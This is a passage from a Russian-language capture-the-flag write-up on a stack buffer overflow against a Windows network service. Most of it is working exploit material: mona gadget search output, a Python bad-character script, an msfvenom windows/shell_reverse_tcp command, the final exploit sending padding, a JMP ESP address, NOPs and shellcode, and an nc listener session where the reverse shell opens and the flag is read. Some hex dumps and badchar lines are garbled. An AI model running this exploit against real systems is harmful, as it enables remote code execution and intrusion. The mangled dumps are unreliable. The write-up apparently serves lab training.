ffffwE4 : 0000001520 : 1 77777777 E41 aso2 int.aso2 (PAGE_EXECUTE_READ) lib.dll RSLR: True, Rebase: False, SafeSEH: False, CFG: False, OS: False, 1.1.1.1 [ICL-Users\ADMIN\ntdesktop-enETPw\lib.dll] 0x140
Found a total of 9 pointers
[+] This non-py action tool 0100100_2020000
lmona find -s "\xffwE4" -m lib.dll

```

Address	Disassembly
6250154C	JMP ESP
6250154E	JMP EAX
62501550	POP EAX
62501551	POP EAX
62501552	RETN
62501553	NOP
62501554	POP EBP
62501555	RETN
62501556	PUSH EBP
62501557	MOV EBP, ESP
62501559	JMP ESP

Добавим в наш фаззер значение JMP ESP в формате little-endian

Теперь проверим наш сервер на обработку плохих символов, сформируем набор байтов от \x00 до \xff и будем отслеживать их обработку в дампе используя код

```
1 #!/bin/python3
2
3 import socket
4
5
6
7 badchars = (
8     b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
9     b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
10    b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
11    b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
12    b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
13    b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
14    b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
15    b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
16    b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
17    b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
18    b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
19    b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
20    b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\x0"
21    b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\x0"
22    b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\x0"
23    b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
24 )
25
26 new_buffer = b'BRUN ' + b'A' * 2007 + b'\x42\x42\x42\x42' + badchars
27
28 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
29 s.connect(("192.168.234.137", 3301))
30 s.send(new_buffer)
31 s.close()
32
```

В самом дампе видим искажение начиная с \x00, будем убирать так каждый символ, чтобы они не ломали наш шеллкод

Address	Hex	dump	ASCII
0240F9F8	41 41 41 41 41 41 41 41	AAAAAAAA	
0240FA00	41 41 41 41 41 41 41 41	AAAAAAAA	
0240FA08	41 41 41 41 42 22 42 42	AAAAB"BB	
0240FA10	00 3A 9A 00 58 26 9A 00	.:b.X&b.	
0240FA18	B8 08 00 00 00 00 00 00	?@.....	
0240FA20	00 00 00 00 4E 01 00 00	...N@...	
0240FA28	14 FB 40 02 42 00 00 00	Mr@B...	
0240FA30	42 00 00 00 67 2C EA 7D	B...g.r}	
0240FA38	68 93 6D 00 00 00 00 00	hYm.....	
0240FA40	A3 3C EA 7D 40 E5 11 7E	r<b}0x4"	
0240FA48	00 A0 FD FF 94 03 6C 00	.a@ P@L.	
0240FA50	00 00 6C 00 50 01 6C 00	...L.P@L.	
0240FA58	7F 00 00 00 38 24 9A 00	Δ...8\$b.	
0240FA60	10 35 6C 00 7F 00 00 00	Δ5L.Δ...	
0240FA68	74 3C EA 7D 44 00 00 00	t<b}D...	
0240FA70	4E 01 00 00 00 00 00 00	N@.....	
0240FA78	50 01 6C 00 00 00 6C 00	P@L...L.	
0240FA80	68 93 6D 00 1C 00 00 1C	hYm.L...L	
0240FA88	90 01 00 00 10 35 6C 00	P@...Δ5L.	
0240FA90	42 00 00 00 00 00 00 00	B.....	
0240FA98	00 00 00 00 7F 00 00 00	...Δ...	
0240FAA0	00 93 6D 00 00 00 00 00	.Ym.....	
0240FAA8	90 01 00 91 C4 00 6C 00	P@.C-.L.	
0240FAB0	07 00 00 00 0A 00 00 00	
0240FAB8	0C 00 00 00 00 00 00 00	
0240FAC0	FF 07 00 00 33 24 9A 00	...3\$b.	
0240FAC8	90 01 00 91 C4 00 6C 00	P@.C-.L.	

Нам повезло и на данном сервере был только один плохой символ, убрав который дамп заполнился всеми до FF


```

021DFA08 41 41 41 41 42 22 42 42 AAAAB'BB
021DFA10 01 02 03 04 05 06 07 08 09000000
021DFA18 09 0A 0B 0C 0D 0E 0F 10 ..9..8*
021DFA20 11 12 13 14 15 16 17 18 40!!1$._+
021DFA28 19 1A 1B 1C 1D 1E 1F 20 +*+L#A?
021DFA30 21 22 23 24 25 26 27 28 !"#%&'(
021DFA38 29 2A 2B 2C 2D 2E 2F 30 )**,-./0
021DFA40 31 32 33 34 35 36 37 38 12345678
021DFA48 39 3A 3B 3C 3D 3E 3F 40 9:;<=>?@
021DFA50 41 42 43 44 45 46 47 48 ABCDEFGH
021DFA58 49 4A 4B 4C 4D 4E 4F 50 IJKLMNOP
021DFA60 51 52 53 54 55 56 57 58 QRSTUVWX
021DFA68 59 5A 5B 5C 5D 5E 5F 60 YZ[\]^_`
021DFA70 61 62 63 64 65 66 67 68 abcdefgh
021DFA78 69 6A 6B 6C 6D 6E 6F 70 ijklmnop
021DFA80 71 72 73 74 75 76 77 78 qrstuvwxy
021DFA88 79 7A 7B 7C 7D 7E 7F 80 ya{|}~`aA
021DFA90 81 82 83 84 85 86 87 88 БВГДЕЖЗИ
021DFA98 89 8A 8B 8C 8D 8E 8F 90 АБГВДЕЖЗИ
021DFAA0 91 92 93 94 95 96 97 98 СТУФХЦЧШ
021DFAA8 99 9A 9B 9C 9D 9E 9F A0 ЩЬЫЬЭЮЯа
021DFAB0 A1 A2 A3 A4 A5 A6 A7 A8 бегдежзи
021DFAB8 A9 AA AB AC AD AE AF B0 икклмноп
021DFAC0 B1 B2 B3 B4 B5 B6 B7 B8 ыьыьэюя
021DFAC8 B9 BA BB BC BD BE BF C0 илклмноп
021DFAD0 C1 C2 C3 C4 C5 C6 C7 C8 +--+|~
021DFAD8 C9 CA CB CC CD CE CF D0 +--+|~
021DFAE0 D1 D2 D3 D4 D5 D6 D7 D8 +--+|~
021DFAE8 D9 DA DB DC DD DE DF E0 +--+|~
021DFAF0 E1 E2 E3 E4 E5 E6 E7 E8 стуфхцчш
021DFAF8 E9 EA EB EC ED EE EF F0 ыьыьэюя
021DFB00 F1 F2 F3 F4 F5 F6 F7 F8 eCeIiUg
021DFB08 F9 FA FB FC FD FE FF 00 ..лп

```

Осталось сформировать саму полезную нагрузку используя msfvenom, не забывая добавить параметр для исключения плохого символа

```

(kali15338@kali15338)-[~]
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.20.0.92 LPORT=4444 -f python -b "\x00"

```

Вот так будут выглядеть основная строка для передачи на сервер нашего фаззера, где eip – инструкция JMP ESP, а buffer – шеллкод

```

38
39 new_buffer = b'BRUN ' + b'A' * 2007 + eip + buf
40
41 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
42 s.connect(("10.10.0.2", 3301))
43 s.send(new_buffer)
44 s.close()
45

```

Пробуем запуск нашего эксплойта и видим, что немного пролетаем значения

The screenshot shows a debugger interface with three main panels. The top panel displays assembly code with addresses from 0000 to FD. The middle panel shows the state of registers (FPU), including EAX, ECX, EDI, ESP, EBP, ESI, and EDI. The bottom panel shows a hex dump of memory, with addresses from 00400000 to 0040000F. The assembly code includes instructions like MOV, PUSH, INC, JNZ, POP, LEA, JNO, SARF, DEC, IRET, CLC, ADC, SHL, TEST, POP, MOV, and CLI. The registers window shows the state of various registers, with EIP pointing to 0226FA1B. The bottom window shows a hex dump of memory, with addresses from 00400000 to 0040000F.

Добавим к нашей строке буфера значения пор инструкций которые ничего не делают и передают управление следующей команде, добавим `\x90 * 8` в виде переменной `nops` и наша итоговая строка выглядит так

```
40 new_buffer = b'BRUN ' + b'A' * 2007 + eip + nops + buf
41
42 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
43 s.connect(("192.168.234.137", 3301))
44 s.send(new_buffer)
45 s.close()
46
```

Поднимаем слушателя и успешно получаем оболочку, а затем забираем наш флаг

```
(kali15338@kali15338)-[~]  
$ nc -nlvp 4444  
listening on [any] 4444 ...  
connect to [10.20.0.92] from (UNKNOWN) [10.10.0.2] 49211  
Microsoft Windows [Version 6.1.7601]  
(c) 微软公司 (Microsoft Corp.), 2009. 版权所有.  
  
C:\Windows\system32>cd C:\  
cd C:\  
  
C:\>cd Users\ADMIN  
cd Users\ADMIN  
  
C:\Users\ADMIN>type flag.txt  
type flag.txt  
CODEBY{B0f_f1Ag_3301}  
C:\Users\ADMIN>
```